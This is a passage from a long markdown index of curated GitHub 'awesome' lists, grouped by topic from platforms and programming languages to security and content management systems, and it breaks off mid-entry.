[Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight 